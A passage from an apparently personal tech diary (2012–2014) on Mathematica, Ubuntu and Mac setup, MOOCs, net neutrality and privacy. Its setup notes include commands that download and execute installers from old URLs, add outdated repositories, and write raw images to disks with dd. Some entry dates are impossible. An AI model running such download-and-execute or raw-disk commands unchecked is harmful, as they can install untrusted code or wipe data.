many digits of precision, but for PDEs, the default PrecisionGoal is actually not very high (~4 or so). So for numerically difficult problems, you might not actually get very many good digits with default option settings, which is basically what appears to be happening here. Increasing the PrecisionGoal causes NDSolveValue to return the same result across all operating systems." Still interesting that this happens for a linear PDE which is completely solvable. I would have expected sensitive dependence on initial conditions (CPU dependence) only to occur for more complicated nonlinear systems. 19-09-2014: Tweet a program by Wolfram is a great thing as Mathematica allows for very short code snippets. I had tried some tweets earlier here in the dynamical systems lecture or this tweet in a linear algebra result or for a multivariable class. See the Tweet. 17-09-2014: Installed OS 8 on iphone. A scare: the phone requires now password protection and the password does not have to be ascending, nor contains multiple digits. After booting up the first time, the user is not told that and the old password does not work any more. I first thought to be locked out forever as my favourate phone password included multiple digits or simple ascending or decending sequences I can enter quickly. 14-09-2014: About the MOOC revolution. Like any technology, it is going to stay in the mix of education. It actually has been there for a long time already. I followed already as a teen TV courses in physics, which were essentially MOOCS distributed by TV and which came with textbooks and exercises. Modern MOOCS are actually quite close to this old fashioned TV instruction. They just make use of new peer and web technology similarly as "the cloud" is a modern incarnation of the good old "mainframe computers" but with new technology. The article mentions the problem with engagement. An other problem is authenticity. Like an old TV show, a year-old Youtube video, a pre-recorded, a shelved lecture is hardly exciting. There is a life time for everything. For good textbooks like Feynmann's lectures, the shelf-year can be several dozen years. Good pre-recorded lectures of TED-quality can still be viewable for a couple of years. But the shelf-life of a prerecorded lecture by an average university teacher is much shorter. Would I want to listen to a lecture given in 2010? Heaven forbid, except if it is a historical lecture or given by somebody who has a name recognition (and then the interest is mainly in the person and not the subject). Cold coffee is poison for learners! 01-09-2014: I love Ubuntu, but it can sometimes be frustrating. Example: one needs to jump through some hoops to install standard programs like Acrobat or Google earth. For google earth for example, one needs to install the 32 bit version. I tried for hours to get the 64 bit version to work (using help from stackoverflow but with no success. Only the 32 bit version works and it needs the following temporary software repository change: sudo apt-get install libc6:i386 sudo -i cd /etc/apt/sources.list.d echo "deb http://archive.ubuntu.com/ubuntu/ raring main restricted universe multiverse" >ia32-libs-raring.list apt-get update apt-get install ia32-libs rm /etc/apt/sources.list.d/ia32-libs-raring.list apt-get update sudo apt-get install gcc-multilib Later, I found an easier way here: wget http://dl.google.com/earth/client/current/GoogleEarthLinux.bin chmod +x GoogleEarthLinux.bin ./GoogleEarthLinux.bin Acrobat does not even mention linux versions anymore. Yes, there are alternatives like xpdf but this lacks features like double page view. Fortunately, "evince" finally has become stable enough. Still needed is a built-in PDF viewer with the power of "Preview" in OS X, which allows to rotate and copy paste pages, shuffle or crop pages. There is a decent free Master PDF editor: from here which can be installed quickly using wget http://code-industry.net/public/master-pdf-editor_1.9.25_amd64.deb sudo dpkg -i master-pdf-editor_1.9.25_amd64.deb 03-08-2014: Mathematica 10 has a nice new feature, allowing to integrate over geometric figures. Funny that the documentation indicates that the result is 4Pi/3 for Integrate[1,{x,y,z} \[Element] Sphere[]], even so the correct command is Integrate[1,{x,y,z} \[Element] Ball[]] Obviously this was only fixed after the documentation was written. The sphere result gives correctly the surface area of the sphere. [Update, shortly after, the documentation has been corrected.] 13-07-2014: Upgraded some machines to Mathematica 10 already. I was a bit concerned about my large graph theory library (8000 lines of very density programmed code). There was only one incompatibility: Mathematica 10 has now the ChromaticPolynomial back (which before had to be hacked from the Combinatorica package in an ugly way: since Combinatorica was incompatible with almost everything, I had to let Mathematica write a fresh Mathematica program, run it to evaluate ChromaticPolynomial and read the result back. Fortunately, this hack is no more needed any more). There are quite a few new functions also in graph theory. With one of them, I already managed to crash mathematica (on a Macbook air). One has now for example embedding options in 4 dimensions "GraphEmbedding[HypercubeGraph[5],"SpringEmbedding",5]". For Calculus courses, it will be nice to use transformations like G=FunctionRange[{{x-y,x^2-y^2},x^8+y^8<1},{x,y},{u,v}];RegionPlot[G,{u,-2,2},{v,-2,2}] Also Regionplot in 3D has become better like RegionPlot3D[x^4*y^2-z^2+x^2*y^2<0,{x,-3,3},{y,-3,3},{z,-3,3}] As we are just covering Lagrange next week in the summer school course, also some news ArgMin[x^2 - x y^2,{x,y} \[Element] Disk[]] or ArgMax[x^2+2y^2+z^2, {x,y,z} \[Element] Sphere[]] to find the maximum of a function on a geometric object. Here is something just relevant in our first midterm exam: A=Line[{{0,0,0},{1,1,1}}];B=Line[{{3,2,4},{2,4,2}}]; ArgMax[EuclideanDistance[x,y],{x\[Element] A,y \[Element] B}] Next week, we will start also with integration. Also here, some cool new stuff: Integrate[x^2+y^2,{x,y,z} \[Element] Sphere[]] computes the moment of inertia of the sphere. Note that this is different than the moment of inertia of the unit ball, which is computed with Integrate[x^2+y^2,{x,y,z} \[Element] Ball[]] We can also place the ball at some other place and change the radius: Integrate[x^2+y^2,{x,y,z} \[Element] Ball[{4,1,3},2]] And here is the volume of a tetrahedron given by four points: Integrate[1,{x,y,z} \[Element] Tetrahedron[{{1,1,1},{2,2,2},{6,3,3},{3,1,2}}]] A great tool to write new integration problems! There are various other things like MandelbrotSetPlot[{0.3I,0.3+I}] plotting the Mandelbrot set in a rectangle given by 2 complex numbers or JuliaSetPlot[-1.2]. A bit creepy is the command GeoGraphics[GeoMarker[],GeoRange -> Quantity[100, "Meters"]] which plots a map, on where you are. 28-05-2014: With my own book library reaching 160 Gig of texts, reducing size is crucial. Its amazing how small the arxiv can compress the PDF's. See for example this marvelous book which is down to 11.8 Meg but still has stellar quality. When opening it under OS X with Preview removing a few pages and storing it again, the size explodes to over 100 times the original size. I tried to compress it again with Acrobat and its still 48.8 Meg, more than 4 times the original size. I can bring it down to 18 Meg with the "gs" commandline but the result is terrible as typical jpg artefacts can be seen. Having seen that the internet archive uses commercial software from LuraTech, I tried the LuraTech PDF Compressor Desktop). It installs and runs under wine in linux but refuses to finish the conversion. Having a high quality PDF compressor should be a high priority both under OS X and linux. Well, use djvu then! While I adore djvu, the djvu readers are unfortunately still bad and equiped with strange interfaces especially on tablets so that I prefer PDFs. 26-05-2014: Strange incident with truecrypt a safe and reliable software, I have used since many years. Could have been hacked, could have been forced to close doors or auditing might have found something. Mysterious. 22-05-2014: Installed Ubuntu 14.04 at home and office. Best ubuntu ever. Glad they focused on stability rather than features. The reason for upgrading was also prophylactic: I like to have a refresh the drive from time to time evenso one worries too much. But I'm fanatic about having an extremely responsive system and not have to sysadmin my machines during the semester. A screenshot of the screen right now. To make a mountable Ubuntu USB installation stick from the command line on a Mac air: "hdiutil convert -format UDRW -o ubuntu.img ubuntu-14.04-desktop-amd64.iso " and "diskutil unmountDisk /dev/disk1" and "sudo dd if=ubuntu.img.dmg of=/dev/rdisk1 bs=1m". Moved over all internal drives to 3T drives (now mainstream and under 100 dollars), while the operating system is still on the fastest available SSD. Copying over costs about 12 hours with rsync. Having / and /home on different drives has become trickier as Ubuntu now locks you out once an other drive without .Xauthority etc present in /home. One has first to sync over the newly built default user stuff to the other home folder on the harddrive and then edit /etc/fstab to mount it on /home.] Formatting 3TB harddrives does no more work with "fdisk" as the later only produces 2.2T file systems. "parted" builds now the partitions: in my case "parted /dev/sde", then enter "mklabel gpt" and "mkpart pri 1 -1" To build the ext4 filesystem, the command mkfs.ext4 /dev/sde1" still works. I would not buy the Western Digital "Intellipower" drives any more. They are definitly slower: "hdparm -t /dev/sdd1" Timing buffered disk reads: 504 MB in 3.01 seconds = 167.31 MB/sec "hdparm -t /dev/sdc" Timing buffered disk reads: 340 MB in 3.01 seconds = 113.10 MB/sec the speed factor is essentially the 7200/5400 RPM factor. For the backup drive, a green drive makes sense but not for the main harddrive. 19-05-2014: Cool Google Rubik Doodle. 13-05-2014: An interesting analogy of network neutrality and degeneration of California utilities in the 1990ies. Slowing down or reducing the service to force people to upgrade or pay more is a strategy, one sees also implemented in other places: our town of Arlington recently put the garbage and recycling business in the hands of the private company JRM. They often refuse to take things and put stickers on the usual trash (this is recyling), while the recyling truck does not pick it up. It is aggrevating. Similarly as with the internet, where packages are no more picked up and movies start to stutter. 09-05-2014: A strange networking problem at home drove me almost insane. Wireless connections to the laptops would sometimes work and sometimes not. Reconfiguring all networking, removing /Library/Preferences etc did not work. Changed and rechanged the ARP tables, DNS tables etc, Firewall settings etc. Nothing helped reliably. I reinstalled OSX: even there, it sometimes worked with the wireless, then no more. Like an evil switch would randomly switch on and off. Since TP-link routers had been compromized a while ago, I also investigated that but the new AC1750 TP-link router. But nobody had tempered with DNS server settings there and that router is safe. Finally, I wiped the harddrive clean, reinstalled Lion, then Maverick again and restored the old stuff (except configurations) from the time machine. Again, the same story. I brought a second identical macbook air and compared line by line all network settings, one would work the other not. Then the other would work etc. Finally, I looked again over the router. I had not seen that I had carelessly configured two wireless channels with the same SSID and password, where one was the guest network. What had happened was that every time the laptop got attached, it was either at the wireless network directly (allowing local networking) or at the guest network (not allowing local networking). 05-05-2014: Also google gets into the classroom. As usual with free services: how long will it take until it is shelved in a spring cleaning, how long will it stay free without advertisement? Are submitted work and grades kept private for ever or internally reused for other purposes in the future? As usual with technology, there are other concerns: for example that outsourcing technology destroys local IT culture and makes schools even more dependent on "big brothers". 26-04-2014: Net neutrality seems to end and send the web down the tubes. 31-03-2014: A heise article shows that iBeacon is used to track students or customers in shops. Article. The app: BeHere: "Using proximity, teachers can automatically identify which students are accessing the classroom, and easily manage help requests using an ordered line, always up-to-date". Simply terrible. It assumes everybody must have a smartphone with Bluetooth enabled. 29-02-2014: Articles like this ask whether Netflix is throttled by internet providers. The answer is a clear yes. Netflix has recently become unwatchable on Verizon FIOS. Netneutrality is already dead. Its no more a nightmare scenario. It is a nightmare already. By the way, the throttling effects not only netflix. When Comcast throttled my SSH traffic (which includes rsync) 5 years ago, I had switched. I consider dumping Verizon for everything, also phones now. 18-02-2014: Solentnews as an alternative to Slashdot resembles Slashdot 15 years ago. The question is whether it can succeed growing without needing to cash in. Currently, it looks great and has a good community, like Slashdot 15 years ago 14-02-2014: A lot has been written to the 30th anniversary of the mac. An article about Niklaus Wirth who introduced the Pascal,Modula,Oberon programming languages and the Lilith computer. I had seen the machine demonstrated when being a student. This was before the first Mac has appeared and was the first time, a mouse has appeared in a PC. The vertical screen looked perfect for programming. I loved Pascal because of its elegance but soon after, Wirth would introduce Modula, Modula2 and then Oberon. Wirth would make the languages more and more elegant, destroying backwards compatibility and convenience and rendered it so unpupular: no programmer wants to work with a programming language which has a half live time of 5-10 years. 13-02-2014: Shiny names are important in marketing. Since the "Semantic Web" hype promised about 10 years ago did not globally work (semantic services are easier to "game" and "cheat with" and require trust and were instead replaced by social peer mechanisms), NYT journalist John Markoff came up with the name Web 3.0. Also this is not new, and when Web 2.0 was flashy, already a few were talking about Web 3.0. Now there are already predictions about Web 4.0 as in this graph. What John Markoff called Semantic web is just refined artificial intelligence which exists already. The mistake which crystal ball readers make, is to assume that this is all new: the "holy grail" is already implemented to a large degree. Search engines are no more just directories and computer algebra systems are no more just calculators. With search engines, we can already get answers complex questions, similarly as computer algebra systems do. When a couple of students experimented with me on chat bots in education, this had been ridiculed, but already then, bots were roaming industries answering customer questions and gaming sites to make a buck. I saw already in 1998 a talented student building in a few hours a bot which would play poker online by reading and OCR the content from the screen and click to the right places. Now, bots swarm gaming places like War of Warcraft on mass. What the graph shows as Web 4.0 with intelligent personal agents has already been realized a long time ago. It will in in 2020 just have be even more important. There are other things, which the above graph gests wrong. Directory portals were much older than Web 2.0. Everybody who has used Gopher or usenet services knows that this had been there at the very beginning. Semantic search (taunted as part of Web 3.0) is long here. It has already become a nuisance as we live in Search bubbles: engines collect "context" in order to answer questions better. Depending on previous searches or reading habits or place, they assume they know what you want. This can be irritating. The semantic Web has become a nuisance. Instead, we want more of the persistent and open web, where information is stored in the open, with information which remains there and which is not hidden in opaque databases or services and moved around if a new look is smacked upon a website. Wikipedia is an example how it should be done: persistent links which are inteligable and can be referred to from other pages without having to rewire everything. What John Markoff in 2006 called an example of a question "I'm looking for a warm place to vacation and I have a budget of$3,000. Oh, and I have an 11-year-old child" can of course never be answered without context: the answer clearly depends on where one lives and what "warm" means and how much adventure one wants, this answer of can be answered already easily by knowing some basic geography as well as looking up some travel sites. Its all about marketing: "main frames with dumb terminals" (which existed before the PC) does not sound as nice as "the cloud with smart phones". The later reinvented the former. And "replacing humans with robots" is also not as good as a selling point than "building a semantic Web 3.0". But since predications in the future of technology have almost always been completely wrong, this might also be the case here.
08-02-2014: Flappy bird seems to go down after it has become a phenomenon. Its an old type of game but because it is so insanely hard, it had become famous. It reminded me of an old copter game, I had played on my old "Next station" already. I played flappy birds only briefly before getting frustrated. Achieving this was just the point of the game. The copy-cats will no more succeed because the novelty is gone: with flappy birds one could say: hey try this, "can you get more than 10 points" and have a good laugh. This is how the game became viral. The originality here was not the game type: it had many predecessors but the insanity of its difficulty made it unique. What makes a good game is difficult to say: chess, go, 15 puzzle, Rubic cube, monopoly are all from the ground off original and the 15 puzzle as originally designed was genious (switching two squares makes it impossible). Its maybe as with art. Oppenheim's art object "Dejeuner en fourrure" is genious. Knock-off's are often only Kitsch. The boundaries are difficult to put. The meat dress of Gaga for example is a knock-off from Jana Sterbak which I had seen myself once in an exhibit. Gaga made it something new by actually showing it off and not only as an exhibit or photograph.
07-02-2014: A comparison Slashdot beta with classic slashdot illustrates how an other news site driven by users is going to be ruined. It is a consequence that the site has been acquired by the career website dice. Nothing was learned from previous disasters. Slashdot tries to look now like Slate but has similar problems than most mobile versions of websites: the user is chained and slowed down by pictures and more advertisement and white space. The problem is that slashdot has moved into a news sector which is already heavily populated: most news websites have moderated and peer reviewed comment parts in the articles. Digg has peaked around 2007 and is now almost down to nothing. It has sold out the content to advertisers and crashed. Funny that digg looks now very similar than the new slashdot beta: a more coorporate look. Facebook and Youtube seem have peaked as they start to cash in and sell out and milk the audience with more and longer advertisement.
06-02-2014: A Register article discusses reliability issues with cloud services showing most services having outrages. It illustrates how IT centralization increases the risk of a global meltdown. Yes, prizes are going down, but probably only in order to kill competitions. Once everybody is hooked, the prizes can go up again. Having your data accessible by third parties is an other issue. But even more problematic is increased dependence on reliable broadband connections. This is already now almost in a monopoly state with poor service and lots of costs. We get a taste of the toxic mix already now: since everybody have their drop box accounts synced at Starbucks, the internet experience in such coffee houses is often that of the telephone Modem era. And just a month ago, an appeal court has killed net neutrality rules. A nightmare scenario is to have ISPs and Cloud services merge eventually, with ISPs giving preference to their own data.
24-12-2013: An upgrade to Ubuntu 13.10 with a fresh install onto new SSD led to sound, networking and dependency problems within half a day, I moved over to mint, which worked out of the box. Still use the blackbox windows manager and "xv" which uses still old libraries: "sudo ln -s libtiff.so.5.1.0 libtiff.so.4". The usb-creator-gtk had failed to create the bootable USB stick but "sudo dd if=~/linuxmint-16-cinnamon-dvd-64bit.iso of=/dev/sdg oflag=direct bs=1048576" worked. [update: mint MDM memory footprint is huge (I need the memory for mathematica), acrobat installation from Adobe failed, adding "deb http://archive.canonical.com/ quantal partner" in "/etc/apt/sources.list.d/additional-repositories.list" and "apt-get update","apt-get install acrobat" reproduced the "C:\nppdf32Log\debuglog.txt" bug seen in earlier ubuntus.]
23-12-2013: Will Adobe succeed with Cloud subscriptions? For me, it will never be an option because any "cloud solution" is a "chain solution" making you dependent. Having purchased the Adobe suits a couple of times in my life, this is the end. The gimp is better but has still many features missing like Warp and liquify tools. After customer backslash, competitors strive. On the mac, pixelmator has become much better. Having used it since the first version six years ago, the liquify tools getting real and 3.0 FX looks like a serious competitor for Adobe, especially since it is reasonably prized: less than one month of Adobe subscription and because the application starts up fast. Opening Adobe products started to feel like booting up a virtual machine.
18-12-2013: A pretty good account on the anonymous email scare last Monday. (It had been an interesting day).
11-12-2013: A NYT article about MOOCS mentions some statistics released by the Penn GSE Press room: no surprise at all. Only half who registered a actually ever viewed a lecture and only 4 percent completed the course. This is not new. When I was a kid, there were already MOOCS, but on TV. It was called "telecolleg" (an (example)) which came with a book and TV lectures. I myself took an electronics course in high school but also only did part of it and did not do the exam. I myself learned most about electronics by building and doing things, of course mostly according to a plan but also without. In an online experience it is difficult to keep the pressure going and to set time aside. An other problem to consider with MOOCS (as with telecolleg) is that courses race to the bottom and focus on trivialities in order not to lose students. But like telecolleg on TV, also MOOCS will not go away. Similarly than libraries or TV have not replaced the classroom, the web does not replace the lecture hall. But it can complement it. From page 20 on our article on 3D printing in education: "We witnessed 3 revolutions: "new math" brought more advanced mathematics to the classroom of the generation X. Calculators and new tools like the overhead projector or Xerox copying tools amplified these changes. 20 years later came the "math wars". It effected the generation Y and also contained both content and philosophy shifts as well as technological earthquakes like widespread use of computer algebra systems and the world wide web. Again 20 years later, now for the generation Z, we see social media and massive open online courses changing the education landscape. We have currently no idea yet, where this is going, but when looking back to the other revolutions, it is likely that the soup is again eaten colder than cooked: social media start to show their limitations and the drop out rates for MOOCs courses can be enormous. Revolutions are often closer to convolutions. Fortunately, future generations of teachers and students can just pick from a larger and larger menu and tools. What worked will survive. But some things have not changed over thousands of years: an example is a close student-teacher interaction. Its a bit like with Apollonian cones which were used by the Greeks already in the classroom. They still are around. What has changed is that they can now be printed fast and cheaply. For a student, creating and experimenting with a real model can make as big as an impression as the most fancy 3D visualization, seen with the latest virtual reality gaming gear. [ A slate article]
25- 10-2013: Until recently, it had been fun to look at youtube charts which had videos ranked according to popularity. Now it is gone. Why the manipulation? Maybe because of a You Tube Music Award? Recent screenshotss 1, 2 of charts with the most watched and shared videos on September 14, 2013. Youtube has now become closer to TV, where content is presented in a form which can be sold out. Did google not learn from disasters like Digg, where content manipulation has killed a once successful venture? I would prefer they would bring back the old youtube charts, driven by pure numbers. The current setup looks worse.
21-10-2013: Got the new OS X Maverick installed on a laptop and iMac. Runs smooth. Optically, only the new gray doc background for the doc bothers. In general, it would be nice to be able to customize more the look of the desktop. The new OS is more bitching about Cloud. Otherwise things are pretty the same and most applications run faster and smoother. I was eager to try Keynote 2013. The interface the software has radically changed. Almost nothing is the same. Fortunately, keynote never needed any manual and relearning how to do things took only minutes. After half an hour, it was clear that one needs to be careful when useing Keynote 2013 for old presentations. It can distort and damage, embedded movies need to be converted, the geometry of the slides, fonts, pictures etc can changed. The first presentation I tried, was completely ruined. The culprit was "optimizing for IOS" which virtually destroyed the geometry of the slides in an unrepairable way. New again: Keynote files are folders and not a compressed files. Two other small surprises: to use Mathematica, Java SE 6 needed to be installed and for running a command-line stuff like "convert", a reinstall of XQuartz was required. [ Update: October 27, 2013: Maverick without warning has changed display settings for external monitors. This needs to be checked before going into a lecture. I was stranded on Friday for a minute until the display worked. Battery life has decreased considerably, I believe. Also, there are still problems with updating icons on the desktop. One thing I miss a lot in the new keynote is the missing "magic alpha" wand and in general the very sparse menu bar. One has to dig several times to change basic things like color of font. Otherwise, the upgrade is not too bad.]
21-10-2013: Got as a birthday present an upgrade of the home network. The new ASUS RT-AC66U router uses 802.11ac reaching 1.75Gbps and makes wireless considerably faster. My newest Mac Air already uses 802.11ac, so that it already matters. Here is a review of the router and I can confirm that it is a nice piece of hardware and also small. How do they do the trick? It seems that it is in the multiple antennas. But also the ethernet home network has sped up considerably. The configuration interface is nice and I also attached a spare 1 TB hard drive for global media access (books and movies). One hick-up: my wireless printer does not work with WEP2 and I had to wire it with USB for now.
12-10-2013: It is the rate of change which matters, when looking at national debt.
12-10-2013: After a hard drive fail on an Imac, I replaced it with a 1 TB SSD drive. My first of this size. They are still a bit expensive (500 bucks), but worth it. The install on an older Imac is not too easy. I slightly damaged the cables attached to the monitor, when rewiring things. Since reinstalling the OS did not work with the recovery setup and my thunderbolt drives are not yet ready for that mac, I needed install OS X on my laptop to a external USB hard drive, then use that to install. Since the SSD has no temperature sensor, the fan of the Imac was always running on full speed. A HDD fancontrol App helped. And now, that old imac is a quiet and fast machine and delays from moving platters are gone.
21-9-2013: This message reminds of error messages of early windows versions. What happens if one clicks "Delete from Mac"? Apple really seems to want all your documents on the cloud.
19-9-2013: Both URL shortened links and QR codes have been abused so much that users do not trust them any more. This sums it up. Would anybody click on http://goo.gl/fnOVbZ or scan in a picture like that? Both correspond to licking a toilet seat. Its amazing how fast technology can be destroyed these days. URL shorteners are used by spammers to hide their bait and QR codes are used by rogue marketers or stock market pushers.
18-9-2013: Googles foucault pendulum animation (local copy) illustrates nice javascript technology which before was done in flash only. What I always liked about javascript is that one can see the source code.
17-9-2013: A recent factorization of RSA keys illustrates how important pseudo number generators are. From the paper: "It is clear that the random-number generator inside the chip hardware is frequently stuck in a short cycle." It recommends "We strongly recommend that the chip manufacturer publicly disclose full details of the RNG hardware in use and provide copies of the RNG hardware to researchers". See also this NYT article or a discussion here which points to an interesting story about elliptic curves.
30-8-2013: Slashdot has a story about the latest MOOC in calculus. Nice that it is open source. Some of the problems are interactive example using Raphael Javascript vector library. Not everything works yet, like sound (which works on Chrome but not Mozilla). Its nicely done.
26-7-2013: The gimp image manipulation program constantly evolves. In general, it got better and better. One recent change from 2.6 to 2.8 drives me nuts: in order to make a simple change of a jpg file and resave it, one has now to go through about a couple of clicks. About 90 percent of the times, one just uses "gimp file.jpg", changes something like cropping, rescaling or changing brightness, then resave it. Now, one has to chose "overwrite" or "export" and reaffirm that one does not want to save it in gimp native form. There is a thread about it on the Gimp forum. Reactions like "then you should be using simpler software" is exactly the kind of arrogance which has killed many open source projects.
01-7-2013: My office desk:
08-6-2013: The tapping scandals have not produced a lot of outrage. We all "knew". But it is bad for business. One can cite: "That is the atomic and subatomic and galactic structure of things today. And you have meddled with the primal forces of nature." Why is it bad for business? Because it undermines trust. Any business needs to keep some information private in order to stay competitive. And nobody in his right mind will do business with companies which might leak out information. If it is given out to government, it also can reach the competition. Until this mess is solved by congress, customers will avoid US businesses with their data. [Update: November 3, 2013: The damage for Silicon valley is estimated to be 35-180 billion dollars.
12-6-2013: Follow up: the Prism scandal makes a lot of headlines abroad. It is a PR desaster for US companies. Why is it bad that data are in principle readable by third parties? For smaller companies, it means that the competition can catch on faster than expected. For individuals it means that medical records or communications with doctors could lead to workplace discriminations, that financial data and stock markets are more easy to be manipulated from individuals who have access to insider data like telephone records between CEOs or board members. It means espinonage becomes simpler. It also means that political assassination or extortion is easier and diplomacy becomes more difficult. Wikileaks should have taught a lesson: there are some conversations in diplomacy which are better not public. If a government lowers the standards for privacy, it has not to be surprised when sensitive information like information hacking of other governments gets public too. If a government lowers the standards about torture, its own forces risk being tortured.]
20-5-2013: A new workstation from thinkmate: intel Z77 Chipset, VSX R4 320, Intel i7-3770 3.4 GHZ, 4x8 GB PC3-12800 DDR3,60 Gig Intel 520 SSD for OS, 2x2TB SATA for data and backup, NVIDIA GeForce GT610, Gorgeous, quiet, beautifully built, well accessible and fast. The 32 gig memory definitely helps with larger Mathematica jobs (Mathematica 9 gobbles up even more memory than Mathematica 8 and I had more frequent crashes). Was time for a new 27 inch screen; while I run with 1920x1200 (WUXGA) on the home linux box, the iMac with 2560x1440 (WQHD) made me hungry for larger screen estate and I got also a WQHD size screen now in the office. Vendors have finally "got it" that screens like SXGA (1280x1024) make productive work hard. The later means like having books and articles open for reference, to have a computer algebra system working and some terminals with code and text editors. All at the same time. The XGA has become the new VGA (wow, the later was cute). Back to hardware: here are pics: Pic 1, Pic2 after opening the box. One linux issue (unrelated to the hardware) came up when setting things up: while I knew that the permissions of the .ssh directory are crucial, I had by accident my home directory with a 755 permission and "password free login" did not work. So, not only the .ssh directory, but also the /home/user directory has to have the right permission (like 700). Only noticed after turning on debug mode in sshd.config.
14-5-2013: Amazing how much space Windows 7 can gobble up in a short time. Made a fresh install on an older macbook air using boot-camp and had initially assigned 15 gig. After trying out some scanning software for the Kinect, the assigned windows partition was already full. Needed to repartition. The program Coriolis Systems worked perfectly and fast! The program includes also a tool to build a temporary system on a memory stick in order to do the resizing of the boot hard drive. One caveat: my memory stick had 32 gig only and reassigning 30 gig for the Windows partition did not work because the memory stick was not big enough. I had to reduce to 25 gig. That worked. By the way, the mac book air makes a gorgeous windows machine. Nicer than anything else seen lying around in the shops. In comparison, all these windows laptops are either crap or heavy or have miserable screens. To try out the 3D scanning software, I got a Windows 7 OEM licence because for some reason, the Harvard Licences did not work. The Artec Scanner can scan objects with a frame rate of 10 FPS. I was surprised and had expected that a heavy gaming machine with a decent GPU would be needed, to achieve that.
11-5-2013: Encrypted Media seems like a waste time because if a movie is visible on a computer screen, it can be captured. But then, in the long term, the tendency could be to close down on computer architectures (tablets and UEFI are a start), where the user is no more in charge of the hardware. Similar as in cars, where it is now almost impossible for the customer to do repair things beside basic things like alternator, spark plugs or batteries or timing belts. On the other hand, one will hardly be able to close computer architecture completely. Projects like Arduino or products like Raspberry Pi, together with Linux and open source software will most likely always be a way to backup media, even if the encryption is unbreakable. And then, there is the analog hole: even a totalitarian law forbidding free computer hardware can not prevent content to be captured in high definition from the screen with a high definition camera where with a decent setup, the quality can come close to the original digital format. One has to suspect therefore that the WWW consortium follows DRM Media implementations only because it helps to kill Flash and Silverlight faster. But they are almost dead anyway. Real player died so fast, that one could hardly blink. Silverlight is done as soon as netflix has switched and even Adobe does not believe in flash anymore.
03-5-2013: Amazing. Unreal Engine in Javascript and WebGL.
03-5-2013: The register has a story about Video pushed by Javascript. Have to see this first. Did not find it yet at otoy.
02-5-2013: The very first page on the web is remarkably modern and clear. No second guessing needed to navigate. Of course, there is not much content yet, lots of gopher links, no pictures, movies and interaction. Webforms (example) were ASCII based and sent by email. happy 20th anniversary of webtechnology.
01-5-2013: After having used Mathematica 9 now for a while, there are a surprisingly little changes. I had to adapt names in my old programs like "Prism" or "RandomFunction" which had not been in Mathematica 8 which need to be renamed. Mathematica 9 also grabs more memory in general than predecessors, leading to earlier crashes, especially with the frontend. All reasons to avoid the front end as much as possible and have a reason to upgrade macbook air.
31-4-2013: Open book on low cost 3D printing. There is also a contribution of Liz and myself inside. Thinking like a 3D printer has advantages also when visualizing mathematics without the printer. The graphics get nicer. example.
30-4-2013: A Spiegel article mentions an amazing visualization of Pi as a random walk. This is a place where flash still shines and is unmatched with any other technology.
27-4-2013: The Spiegel has an interview with Wolfram about the new Facebook features in Wolfram Alpha. I have see the demonstration, Steven Wolfram gave at Harvard 2 weeks ago and it was impressive how fast the graph algorithms worked interactively. Working on some graph geometry myself, I know that with larger graphs, things can get slow.
24-4-2013: Just got the social media guide from the Harvard summer school. Just common sense advise. Here is a social media survival guide at the Harvard business review.
11-4-2013: A nice short article explaining H.265. Key idea is a smarter picture sub-division system. Some smartphones support it already.
22-3-2013: Working on a zeta graph confirmed that most of computing work is spent working around limitations of programs or languages. Instead of figuring out all angles and tweaks of a built in routine in a complex program, it is often faster to build the routine from scratch if certain conditions and limitations need to be satisfied. Generic routines need to work in very general situations and can therefore not be optimal in specific circumstances.
16-3-2013: Its amazing how somebody managed to use the spammers embedded pixel trick for setting up a business. I'm surprised that this actually works, since it has always been considered smarter to let email client not open images by default.
15-3-2013: From a NYT sunday review an interesting observation: ""The concepts of work and play have become farcically reversed: schoolwork is meant to be superfun; play, like homework, is meant to teach."
9-3-2013: An upgrade of Verizon FIOS to a faster speed gave a good speed test
8-3-2013: Here is a list of what I would currently look at as the ten biggest sins of web content:
1. rigidity: in geometry and format, assume tablet or force app
3. fragmentation: split pages into many subsections to get more page counts
4. complexity: javascript for video, flash for pictures or navigation
5. cleverness: need user manual or have adventure skills to access content
6. appearance: content should always come before "how it looks"
7. greediness: tiny pictures only, streaming video, too many adds
8. volatile: content is removed or relocated or uses horrid URLS
9. obfuscation: iframes with hidden URLs, long URLs, individualized URLs
10. walled off: access only through registration, walled off content
29-2-2013: Math in movies is now converted to HTML 5 video. Since Adobe decided last year to end support Linux in new versions, Flash will pretty soon be no option for me anymore. Conversion to HTML5 is annoying for two reasons. First: transcoding the movies is slow, buggy, degrades quality if files need to stay small. When converting to theora or webm, there can be hick-ups; files getting too large, lacking sound or getting out of sync. Sometimes, proprietary conversion software is needed. Second: storage space and backup space get multiplied because formats theora, webm, h264, and flash versions are needed to reach everybody. This means doubling the size at least, even if the site already had flash and quicktime. What would be nice is a standalone unix application (not depending on any libraries nor version of linux) which takes any movie format and spit out all 4 formats .flr,.mp4,.webm,.ogg in an optimized way. I have a script, but it is neither optimized, nor reliable and also too library dependent.
19-2-2013: Copernicus on google. The javascript is a bit confuscated. I have been a big fan of javascript in 2000 an example with Chaikin interpolation. The problem of Javascript today is that it is for optimisation reasons written in a way which is hard to parse. I did not rewrite the copernicus animation as for the Apple but it would take less time than to understand what the code does.
13-2-2013: Something to make LaTeX more popular. For me, an other reason to use latex is to use the editor I use for everything else. A "cloud" solution would therefore never cut it. The examples are well chosen.
20-1-2013: A refreshing article on typography. I'm not sure about the adaptive layout. It can break more easily if done wrong and is a cage which gives the reader less control. It is of course more and more the trend. For a simple page like the one mentioned above, it works well.
17-1-2013: Try out Atlas, a differential geometry package for Mathematica. Its quite nicely done. Having programmed most of the basic stuff myself already in Mathematica like connections, curvatures, especially for this project, it can be handy compare results.
8-1-2013: While installing a windows 7 virtual machine in ubuntu, the question popped up: why does the program itself now come in different flavors? "qemu" would suffice as it was before. The program could figure out whether it is a 64 bit system by quickly checking uname -m. Its a small matter, but having to use new names like "qemu-system-x84_64" breaks all tutorials. When virtualized, Windows 7 needs at least 9 gig of HD space and also enough memory. 12 Gig and 512 Meg Ram worked when installing it on a 64 bit ubuntu system:
qemu-img create win7.img 12G
qemu-system-x86_64 -hda win7.img -cdrom Win7_64_EN_DVD.iso -m 512
28-12-2012: Here is a Mathematica inconsistency which almost drove me insane when computing with Dirac matrices. I only could solve it with the help of Newton. It is a basic computation flaw for in the Eigenvector routine, which does not appear for generic matrices. One would expect that the Eigenvalues and Eigenvectors match. They often do and actually do also when the matrix is integer valued. With the same "real entries" however, the behavior is different. Here is a simple example: the matrices A0,A1 are the same except that A1 consists of floating point numbers.
A0={{0, 0, 0, 0, 0, -1, 0, 0, 0, 1},
